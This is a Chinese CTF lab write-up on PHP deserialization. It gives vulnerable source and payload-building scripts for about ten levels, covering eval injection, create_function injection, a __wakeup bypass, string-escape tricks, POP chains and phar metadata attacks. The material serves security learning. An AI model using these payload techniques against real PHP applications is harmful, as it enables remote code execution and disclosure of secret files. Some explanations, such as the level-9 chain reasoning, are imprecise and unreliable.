当前位置: 首页 > article >正文

PHP反序列化靶场(php-SER-libs-main 第一部分)

此次靶场为utools-php-unserialize-main。适合有一定基础的师傅,内容是比较全面的,含有我们的大部分ctf中PHP反序列化的题型。

level1:

<?php
highlight_file(__FILE__);
class a{
    var $act;
    function action(){
        eval($this->act);
    }
}
$a=unserialize($_GET['flag']);
$a->action();
?> 

很简单的一个PHP代码,很明显的看到命令执行点是eval调用act。

直接给出构造:

<?php
highlight_file(__FILE__);
class a{
    var $act;
    function action(){
        eval($this->act);
    }
}
$a=unserialize($_GET['flag']);
$a->action();
$b=new a();
$b->act="show_source('flag.php');";
echo serialize($b);
?>

得出flag:flag{level1_is_over_come_0n}。

level2

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=unserialize($_GET['param']);
if($a->login())
{
    echo $flag;
}
?>  

代码分析:

很明显只要能调用login函数我们就能输出flag,而实例化之后只要能使

if ($this->user=="daydream" and $this->pass=="ok")

成立就能够调用我们的login()函数。

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
}
$a=new mylogin();
$a->pass="ok";
$a->user="daydream";
echo serialize($a);
?>

得到flag:flag{level2_is_0k_here_you_g0}.

level3

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
    echo $flag;
}
?> 

和上面的一模一样的思路但是只要对param参数进行url编码即可。

<?php
highlight_file(__FILE__);
class mylogin{
    var $user;
    var $pass;
}
$a=new mylogin('daydream','ok');
echo urlencode(serialize($a));
?>

 得到flag:flag{level3_is_s0_easy_right?}

level4

<?php 
highlight_file(__FILE__);
class func
{
        public $key;
        public function __destruct()
        {        
                unserialize($this->key)();
        } 
}

class GetFlag
{       public $code;
        public $action;
        public function get_flag(){
            $a=$this->action;
            $a('', $this->code);
        }
}

unserialize($_GET['param']);

?> 

想要我们的flag必须要自己构造我们的执行函数。

<?php
highlight_file(__FILE__);
class func
{
    public $key;
}

class GetFlag
{
    public $code;
    public $action;
}
$a1=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a1->key=serialize(array($b,"get_flag"));
echo serialize($a1);

在这里我们传入我们的create_function函数创建一个匿名函数,并且写入我们的$code赋予的执行语句。

结果就是会执行我们的PHP指令将flag文件包含进来并且输出flag:flag{NI_T_level4_easy_ge_pi}

level5

<?php
    class secret{
        var $file='index.php';

        public function __construct($file){
            $this->file=$file;
        }

        function __destruct(){
            include_once($this->file);//include_once()函数:引入并执行指定的 PHP 文件
            echo $flag;
        }

        function __wakeup(){
            $this->file='index.php';
        }
    }
    $cmd=$_GET['cmd'];
    if (!isset($cmd)){
        echo show_source('index.php',true);
    }
    else{
        if (preg_match('/[oc]:\d+:/i',$cmd)){//匹配一个或多个数字以及字母o或c
            echo "Are you daydreaming?";
        }
        else{
            unserialize($cmd);
        }
    }
    //sercet in flag.php
?> 

绕过wakeup()函数,然后进行编码绕过正则即可得到flag。

<?php
class secret{
    var $file;
}
$pa=new secret();
$pa->file="flag.php";
echo serialize($pa),"\n";//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
$cmd=urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
echo $cmd;
?>

level6

<?php
highlight_file(__FILE__);
class secret{
    private $comm;
    public function __construct($com){
        $this->comm = $com;
    }
    function __destruct(){
        echo eval($this->comm);
    }
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);//会将payload中的%替换为daydream
unserialize($param);
?> 

也非常的简单我们只需要执行eval的指令即可。关于str_replace()我们只要没有%不就绕过了吗。

<?php
highlight_file(__FILE__);
class secret
{
    public $comm;
}
$pa=new secret();
$pa->comm="show_source('flag.php');";
echo serialize($pa);

得到flag:flag{level6_Is_yue_lai_yue_fu_yan}

level7

<?php
highlight_file(__FILE__);
class you
{
    private $body;
    private $pro='';
    function __destruct()
    {
        $project=$this->pro;
        $this->body->$project();
    }
}

class my
{
    public $name;

    function __call($func, $args)//调用无法访问的方法时自动执行  
    {
        if ($func == 'yourname' and $this->name == 'myname') {
            include('flag.php');
            echo $flag;
        }
    }
}
$a=$_GET['a'];
unserialize($a);
?> 

也比较简单,我们只需要触发我们的call函数并且达成条件即可得到flag。

<?php
class you
{
    public $body;
    public $pro;

    function __destruct()
    {
        $project=$this->pro;
        $this->body->$project();
    }
}

class my
{
    public $name;

    function __call($func, $args)
    {

    }
}
$p=new you();
$p->body=new my();
$p->pro="yourname";
$p->body->name="myname";
echo urlencode(serialize($p));

 最好是进行一次编码后再进行上传。得到flag:flag{level7_running_with_progress}

level8

<?php
highlight_file(__FILE__);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}

$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

一道简单的字符串逃逸,根据它本来就定义的内容$name=str_replace($safe,"hack",$name);$safe=array("flag","php");

我们可以知道会将$name参数里面的所有的flag或者php全部替换为hack。

关键点来了,如果我们hack替换的是php那么我们是不是就多出一个字符内容了。

根据PHP的特性反序列化以;}结束,后面的字符串不影响正常的反序列化。所以在这个题目中我们只需要利用替换后的内容会多一个字符就可以在序列上挤掉原序列,再加入我们构造的序列来执行恶意代码。

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
}
$a=new test();
$a->user='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
echo serialize($a);

在这里我们先计算好原序列化字符 ,再构造我们自己的序列化内容但是要确保它逃逸 ,也就是替换后多出来的字符与原字符一致。

得到flag:$flag="flag{level8_g0_fun_popp1ng}";

level9

<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }//$value赋值为flag.php
    public function __invoke(){//将对象当成函数的时候自动调用
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){//获取无法访问的属性自动调用
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 

构造pop链:

很明显我们的输出点位在Modifier里,先将var赋值为flag.php。

观察代码我们可以利用wakeup()函数内的语句触发我们的toString(),然后toString()触发construct(),construct()会触发get($key)。利用get($key)触发我们的invoke(),然后我们的invoke()就会调用append($value)执行输出flag的行为。

<?php

class Modifier {
    private $var="flag.php";
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo serialize($a)."\n";
echo urlencode(serialize($a))."\n";

得到我们的flag:flag{welcom_t0_SOAP_In_level9}

level11

<?php
highlight_file(__FILE__);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
if (isset($filename)){
    echo md5_file($filename);
}
//upload.php
?> 

很明显是phar反序列化:

class TestObject {
}

@unlink("level11.phar");
$phar = new Phar("level11.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$a = new TestObject();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

在upload目录上传文件,利用phar://读取上传文件目录得到flag:flag{Can_level11_s_Phar_be_s0_easy?}


http://www.kler.cn/a/397431.html

相关文章:

  • Word_小问题解决_1
  • .netcore + postgis 保存地图围栏数据
  • sql注入之二次注入(sqlilabs-less24)
  • 存储过程及练习
  • 微信小程序进行md5加密 ,base64 转码
  • Python_爬虫1_Requests库入门
  • Servlet⾥面的doPost-doGet和路路径匹配讲解(笔记)
  • 第 11 章 - Go语言函数
  • Python爬虫下载新闻,Flask展现新闻(2)
  • JS学习日记(jQuery库)
  • webman使用中间件验证指定的控制器及方法[青锐CC]
  • ubuntu20.04安装FLIR灰点相机BFS-PGE-16S2C-CS的ROS驱动
  • Redisson 中开启看门狗(watchdog)机制
  • 不用来回切换,一个界面管理多个微信
  • FPGA使用Verilog实现CAN通信
  • “高级Java编程复习指南:深入理解并发编程、JVM优化与分布式系统架构“
  • OpenCV双目立体视觉重建
  • 在openi平台 基于华为顶级深度计算平台 openmind 动手实践
  • OSS文件上传
  • 基于微信小程序的校园超市购物系统设计与实现,LW+源码+讲解
  • onlyoffice Command service(命令服务)使用示例
  • 【HarmonyOS】鸿蒙应用低功耗蓝牙BLE的使用心得 (三)
  • 要卸载 Grafana 或者从 TiDB 集群中删除 Grafana 服务节点,你需要按以下步骤操作
  • leetcode 35. 搜索插入位置 简单
  • python re模块 详解
  • 在k8s上部署Crunchy Postgres for Kubernetes